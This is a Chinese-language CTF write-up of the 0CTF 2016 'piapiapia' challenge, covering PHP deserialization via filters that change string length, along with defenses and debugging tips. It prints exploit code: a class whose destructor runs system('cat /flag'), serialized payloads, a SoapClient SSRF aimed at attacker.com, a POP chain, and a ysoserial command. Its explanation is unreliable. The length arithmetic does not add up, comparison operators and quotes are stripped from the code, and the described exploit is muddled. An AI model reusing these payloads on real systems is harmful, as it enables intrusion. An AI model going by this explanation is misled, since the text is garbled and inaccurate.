1. 题目背景与漏洞原理分析2016年0CTF的这道Web题目piapiapia考察了PHP反序列化漏洞的典型利用方式。题目通过精心设计的过滤机制诱导选手发现通过改变序列化字符串长度来触发反序列化漏洞的技巧。1.1 反序列化基础概念PHP序列化是将数据结构或对象转换为可存储或传输的字符串的过程反序列化则是将这个字符串还原为原始数据结构的过程。典型的序列化字符串格式如下a:3:{i:0;s:4:xiao;i:1;s:3:shi;i:2;s:2:zi;}其中a表示数组(array)3表示数组元素数量i表示整型索引s表示字符串类型后面的数字表示字符串长度1.2 漏洞触发条件这道题目的关键在于程序对用户输入的序列化数据进行了过滤处理过滤操作会改变原始数据的长度程序没有正确处理长度变化后的反序列化过程存在可利用的魔术方法如__wakeup、__destruct2. 漏洞利用技术详解2.1 数组绕过技术题目中使用了数组作为反序列化的载体这是CTF中常见的绕过方式。当直接对象反序列化被限制时可以将对象作为数组元素进行序列化$payload array(new MaliciousClass()); echo serialize($payload); // 输出a:1:{i:0;O:12:MaliciousClass:0:{}}这种形式可以绕过一些简单的对象检测因为序列化字符串以a:开头而非O:。2.2 长度改变漏洞原理PHP反序列化时严格依赖序列化字符串中的长度声明。当实际字符串长度与声明长度不符时会导致两种结果长度声明 实际长度PHP会继续读取后续内存作为字符串内容可能导致信息泄露长度声明 实际长度PHP会提前结束读取导致后续内容被忽略题目中通过过滤函数改变了原始字符串长度但没有同步更新长度声明从而创造了漏洞利用条件。2.3 具体利用步骤构造恶意对象创建一个包含危险方法的类实例class Exploit { public $cmd cat /flag; function __destruct() { system($this-cmd); } }生成序列化payload$exp new Exploit(); $payload serialize(array($exp)); // a:1:{i:0;O:7:Exploit:1:{s:3:cmd;s:9:cat /flag;}}设计长度溢出 假设题目过滤函数会将cat替换为supercat(5字节)我们需要计算需要多少个cat来溢出// 原始s:9:cat /flag (9字节) // 过滤后s:9:supercat /flag (14字节) // 需要溢出5字节所以需要5个cat替换 $exp-cmd catcatcatcatcat /flag;最终payloada:1:{i:0;O:7:Exploit:1:{s:3:cmd;s:29:catcatcatcatcat /flag;}}过滤后变为a:1:{i:0;O:7:Exploit:1:{s:3:cmd;s:29:supercatsupercatsupercatsupercatsupercat /flag;}}此时声明的29字节小于实际长度导致后续的;}被忽略完整对象被反序列化3. 漏洞防御方案3.1 安全编码实践输入验证if (preg_match(/^[aO]:\d:/, $input)) { die(Invalid serialized data); }使用JSON替代序列化// 替代方案 $data json_encode($obj); $obj json_decode($data, true);严格类型检查function safe_unserialize($str) { $data unserialize($str); if (!is_array($data)) { die(Only arrays allowed); } return $data; }3.2 服务器配置建议禁用危险函数disable_functions exec,system,passthru,shell_exec限制反序列化类ini_set(unserialize_callback_func, serialize_check); function serialize_check($classname) { $allowed [SafeClass1, SafeClass2]; if (!in_array($classname, $allowed)) { die(Class $classname not allowed); } }4. 实战调试技巧4.1 调试反序列化过程使用错误报告error_reporting(E_ALL); ini_set(display_errors, 1);记录序列化数据file_put_contents(serial.log, $serializedData, FILE_APPEND);逐步解析$data unserialize($input); var_dump($data); // 检查解析结果4.2 常见问题排查字符编码问题// 处理特殊字符 $clean mb_convert_encoding($input, UTF-8, UTF-8);魔术方法不触发检查类名是否正确验证属性可见性public/private/protected确认PHP版本某些魔术方法在不同版本行为不同session反序列化问题// 统一session处理器 ini_set(session.serialize_handler, php_serialize); session_start();5. 相关漏洞扩展5.1 PHP反序列化漏洞变种Phar反序列化// 通过phar://协议触发 file_exists(phar://malicious.phar);SoapClient SSRF$client new SoapClient(null, [ uri http://example.com, location http://attacker.com ]);POP链构造// 属性注入示例 class A { public $b; function __destruct() { $this-b-exec(); } } class B { function exec() { system($this-cmd); } }5.2 其他语言的反序列化问题Python pickleimport pickle # 危险操作 pickle.loads(malicious_data)Java反序列化ObjectInputStream ois new ObjectInputStream(is); ois.readObject(); // 可能触发恶意代码.NET反序列化BinaryFormatter formatter new BinaryFormatter(); formatter.Deserialize(stream); // 潜在风险6. 学习资源与工具6.1 推荐工具PHPGGCPHP反序列化payload生成器git clone https://github.com/ambionics/phpggcysoserialJava反序列化利用工具java -jar ysoserial.jar CommonsCollections1 cmd.exe /c calcSerializationDumperJava序列化数据解析java -jar SerializationDumper-v1.13.jar -r input.bin6.2 练习平台Vulnhub提供多种漏洞环境Hack The Box在线渗透测试平台CTF比赛如0CTF、PlaidCTF等在实际渗透测试中遇到反序列化漏洞时我通常会先确认应用使用的技术栈PHP/Java/Python等然后针对性地测试已知漏洞。对于PHP应用特别注意__wakeup和__destruct魔术方法的使用情况这些往往是漏洞利用的关键入口点。